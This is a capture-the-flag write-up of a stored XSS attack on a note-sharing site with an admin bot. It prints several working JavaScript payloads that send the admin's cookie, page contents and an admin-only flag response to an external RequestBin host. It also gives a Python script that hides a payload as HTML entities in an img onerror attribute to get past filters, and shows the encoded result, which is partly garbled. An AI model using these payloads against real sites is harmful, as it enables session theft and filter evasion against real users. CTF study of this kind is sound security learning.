Given a website, where a person can login and register. Both are irrelevant to the challenge, so I will cut the chase. The other feature, the ‘relevant’ feature of the challenge, is a feature that allows the user to write a note and even send the note to an admin (evil laugh). It isn’t hurt to think that this might be an XSS challenge, and I did that.
To start working on the XSS, I submitted a simple fuzzing payload as a sanity check:
1 |
<script>alert(1)</script> |
and the mighty alert box appeared.
Since XSS is not a dream anymore, the next step is to do the basic: steal the admin cookie. ArkAngels had already done the hard work for this by the time I started working on this challenge. Long story short, I spin up a RequestBin to capture the stolen cookie and submitted this payload:
1 2 3 4 5 |
<script> var req = new XMLHttpRequest(); req.open('GET', 'https://enit8s845uv8.x.pipedream.net/?cookie=' + document.cookie); req.send(); </script> |
After the payload is submitted, I reported my post to the admin. The admin visited, and here’s the result:
The cookie is nothing but a hint to check the admin console. At first, I thought I need to capture everything that is being printed into the Developer Console Window, but then I noticed that inside the page’s HTML, there is a div
tag with admin_console
class. So that should be the next step.
Then I tried to smuggle the content of the admin_console
tag from the admin (since they said “only the admin can see it”). I modified and submitted this payload for that purpose:
1 2 3 4 5 6 7 |
<script> var req = new XMLHttpRequest(); var target = document.getElementsByClassName('admin_console')[0]; console.log(target.innerHTML); req.open('GET', 'https://enit8s845uv8.x.pipedream.net/?content=' + btoa(target.innerHTML)); req.send(); </script> |
But that shouldn’t be working because document.getElements*
functions return a live collection (explanation here). So while the page is still loading, my payload is already being executed, hence there might be no tag with the class named admin_console
yet. That’s why I need to make sure that the page is loaded before trying to access the innerHTML
of the admin_console
tag.
I modified the payload into something like this:
1 2 3 4 5 6 7 8 9 |
<script> window.addEventListener("load", function(event) { var req = new XMLHttpRequest(); var target = document.getElementsByClassName('admin_console')[0]; console.log(target.innerHTML); req.open('GET', 'https://enit8s845uv8.x.pipedream.net/?content=' + btoa(target.innerHTML)); req.send(); }); </script> |
By wrapping the payload inside a window.addEventListener("load")
function, the payload will only be executed after the whole page has loaded, including all dependent resources such as stylesheets and images.
And here’s the result:
The value is kinda gibberish because I used btoa()
function to create a Base64-encoded ASCII string from a binary string (in case something unprintable appeared on the admin’s POV of the page). After I decoded the base64, this is the result:
I also had the chance to modify the payload to smuggle the entire page using document.documentElement
property, instead of just the admin_console
tag content. Here’s the modified payload:
1 2 3 4 5 6 7 |
<script> window.addEventListener("load", function(event) { var req = new XMLHttpRequest(); req.open('GET', 'https://enit8s845uv8.x.pipedream.net/?content=' + btoa(document.documentElement.innerHTML)); req.send(); }); </script> |
And here’s the HTML source code of the entire page, for the sake of your clarity:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 |
<head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no"> <title>Textbin</title> <link rel="stylesheet" href="https://stackpath.bootstrapcdn.com/bootstrap/4.3.1/css/bootstrap.min.css" integrity="sha384-ggOyR0iXCbMQv3Xipma34MD+dH/1fQ784/j6cY/iJTQUOhcWr7x9JvoRxT2MZw1T" crossorigin="anonymous"> <link rel="stylesheet" href="/static/css/style.css"> </head> <body> <nav class="navbar navbar-expand-lg navbar-light bg-light"> <button class="navbar-toggler" type="button" data-toggle="collapse" data-target="#navbarNav" aria-controls="navbarNav" aria-expanded="false" aria-label="Toggle navigation"> <span class="navbar-toggler-icon"></span> </button> <div class="collapse navbar-collapse" id="navbarNav"> <ul class="navbar-nav"> <li class="nav-item active"> <a class="nav-link" href="/">Home<span class="sr-only">(current)</span></a> </li> </ul> </div> </nav> <div class="container"> <div class="row"> <div class="col-12"> <h1>Textbin</h1> </div> </div> <div class="row"> <div class="col-8 textbody"> <script> window.addEventListener("load", function(event) { var req = new XMLHttpRequest(); var target = document.getElementsByClassName('admin_console')[0]; console.log(target.innerHTML); req.open('GET', 'https://enit8s845uv8.x.pipedream.net/?content=' + btoa(document.documentElement.innerHTML)); req.send(); }); </script> </div> </div> <div class="row"> <div class="col-8"> <small>By user <code>aha</code></small> </div> </div> <div class="row" style="margin-bottom:10px"> <div class="col-8"> <button type="button" class="btn btn-warning" id="report">Report to Admin</button> </div> </div> <div class="row"> <div class="col-8 admin_console"> <!-- Only the admin can see this --> <button class="btn btn-primary flag-button">Access Flag</button> <a href="/button" class="btn btn-primary other-button">Delete User</a> <a href="/button" class="btn btn-primary other-button">Delete Post</a> </div> </div> <div id="responseAlert" class="alert alert-info" role="alert" style="display: none;"></div> </div> <script src="https://code.jquery.com/jquery-3.3.1.min.js" crossorigin="anonymous"></script> <script src="https://cdnjs.cloudflare.com/ajax/libs/popper.js/1.14.7/umd/popper.min.js" integrity="sha384-UO2eT0CpHqdSJQ6hJty5KVphtPhzWj9WO1clHTMGa3JDZwrnQq4sF86dIHNDz0W1" crossorigin="anonymous"></script> <script src="https://stackpath.bootstrapcdn.com/bootstrap/4.3.1/js/bootstrap.min.js" integrity="sha384-JjSmVgyd0p3pXB1rRibZUAYoIIy6OrQ6VrjIEaFf/nJGzIxFDsf4x0xIM+B07jRM" crossorigin="anonymous"></script> <script> $('#responseAlert').css('display','none'); $('#report').on('click',function(e){ $.ajax({ type: "GET", url: window.location.pathname+"/report", success: function(resp) { $("#responseAlert").text(resp); $("#responseAlert").css("display",""); } }) }); var flag=''; f=function(e){ $.ajax({ type: "GET", url: "/admin_flag", success: function(resp) { flag=resp;$("#responseAlert").text(resp); $("#responseAlert").css("display",""); } }) return flag; }; $('.flag-button').on('click',f); </script> </body> |
With the knowledge of the entire page, I noticed that there are some interesting things. Let me break it down for you:
- There are two delete buttons (or
<a>
tags, technically) that redirects the admin to/button
endpoint when clicked, but it seems to have no function at all (they said it’s not yet implemented)
12<a href="/button" class="btn btn-primary other-button">Delete User</a><a href="/button" class="btn btn-primary other-button">Delete Post</a>
- There is an Access Flag button, which when clicked will run an AJAX GET request to
/admin_flag
endpoint. The response of the request (which is probably the flag itself) will be displayed on a tag with a class namedresponseAlert
12345678910111213var flag='';f=function(e){$.ajax({type: "GET",url: "/admin_flag",success: function(resp) {flag=resp;$("#responseAlert").text(resp);$("#responseAlert").css("display","");}})return flag;};$('.flag-button').on('click',f); - The
/admin_flag
endpoint itself is pretty tricky. When I tried to visit the endpoint directly as myself (not an admin), it says that only the admin can access them.
By that information, I continue exploiting the XSS vulnerability to make the admin perform a request to /admin_flag
and send the response to my RequestBin endpoint. That could be achieved simply by calling the f()
function or emulating a button click against the Access Flag button, then take the content of the responseAlert
tag where the response from /admin_flag
endpoint would be placed.
Here’s the payload:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 |
<script> window.addEventListener("load", function(event) { var targetButton = document.getElementsByClassName("flag-button"); targetButton[0].onclick = function fun() { var probe = setInterval(function(){ let flag = document.getElementById('responseAlert').innerHTML; var req = new XMLHttpRequest(); req.open('GET', 'https://enit8s845uv8.x.pipedream.net/? theflag=' + flag); req.onreadystatechange = function() { console.log(flag); }; req.send(); }, 1000); setTimeout(function( ) { clearInterval( probe ); }, 3000); } targetButton[0].click(); }); </script> |
I used setInterval
because I reckon there is a possibility that the AJAX request to /admin_flag
might not be finished instantly. I’m afraid there might be a slight delay until the response is placed inside the responseAlert
tag to be taken (it’s an Asynchronous-JAX after all). So the payload will take whatever it is inside the responseAlert
tag and perform a request to my RequestBin endpoint, carrying the (hopefully) flag. The operation will run every second until three seconds have passed (notice that I also used setTimeout
and clearInterval
to stop my setInterval
).
And finally, here’s the result:
Even when I had the admin to take the flag and send it back to me, I still couldn’t get the flag. As you can see there, there must be some filters. I cannot use <script>
tags, no quotes, and no
parentheses. At this point, I was pretty confident that the payload is working, and this is just another obstacle that I need to see through.
To be able to execute Javascript with certain tokens being banned, I thought of some ways. At first, I thought I could use JSFuck (read here) to obfuscate the payload and bypass the check, but JSFuck does use parentheses, so that’s a no. Instead, I hid the entire payload by converting it into the HTML Entities equivalent for each character. You can read more about HTML Entities here. Also, to avoid using <script>
tags to execute the payload, I used an img
tag instead and put the payload inside the onload
attribute.
When I was working on this challenge I build a script to convert my payload into the HTML Entities format, but you also can use a tool for that (like this). Here’s the script:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 |
#!/usr/bin/python payload = """ window.addEventListener("load", function(event) { var targetButton = document.getElementsByClassName("flag-button"); var navbarButton = document.getElementsByClassName("navbar-toggler"); console.log(document); targetButton[0].onclick = function fun() { var probe = setInterval(function(){ let flag = document.getElementById('responseAlert').innerHTML; var req = new XMLHttpRequest(); req.open('GET', 'https://enit8s845uv8.x.pipedream.net/? theflag=' + flag); req.onreadystatechange = function() { console.log(flag); }; req.send(); }, 1000); setTimeout(function( ) { clearInterval( probe ); }, 000); } targetButton[0].click(); }); """ unicoded = "" compacted = "" for c in payload: unicoded += ("&#" + str(ord(c))) compacted += c print ("Raw: %s" % compacted) print ("<img src=x onerror=%s>" % unicoded) |
And here’s the final payload:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 |
<img src=x onerror=
window.addEve ntListener("loa 00", function(eve&# 110t) {
	var targe 6Button = docume 10t.getElementsBy ClassName("flag-&# 98utton");
	var na& #118barButton = doc&# 117ment.getElemen 16sByClassName("na vbar-toggler");
& #9console.log(doc& #117ment);
	targetB&# 117tton[0].onclick&# 32= function fun(&# 41 {
		var probe = 2setInterval(fun& #99tion(){ 
			let &# 102lag = document.&# 103etElementById('& #114esponseAlert') 6innerHTML;
	     & #32  var req = new 2XMLHttpRequest() ;
		    req.open(& #39GET', 'https://e& #110it8s845uv8.x.pi&# 112edream.net/?the flag=' + flag);
	& #9	req.onreadysta&# 116echange = funct&# 105on() {
			  cons 1le.log(flag);
			 };
			req.send();& #10		}, 1000);
		set 4imeout(function ( ) { clearInter&# 118al( probe ); }, & #490000);
	}
	targe 6Button[0].click(& #41;
});
> |
Submitted the payload, send it to the admin, and voila flag:
Flag is tjctf{st0p_st3aling_th3_ADm1ns_fl4gs}